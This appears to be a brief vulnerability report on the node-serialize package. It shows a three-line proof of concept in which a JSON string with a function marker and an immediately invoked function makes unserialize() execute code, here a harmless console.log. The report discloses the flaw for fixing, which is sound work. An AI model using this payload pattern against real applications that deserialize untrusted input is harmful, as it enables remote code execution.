Unserialize() can be abused to achieve arbitrary code injection with an IIFE

```
var serialize = require('node-serialize');
var x = '{"rce":"_$$ND_FUNC$$_function (){console.log(\'exploited\')}()"}'
serialize.unserialize(x);
```

I don't know if this is a functionality as you are using `eval()` internally, but the module should not execute code on deserialization.
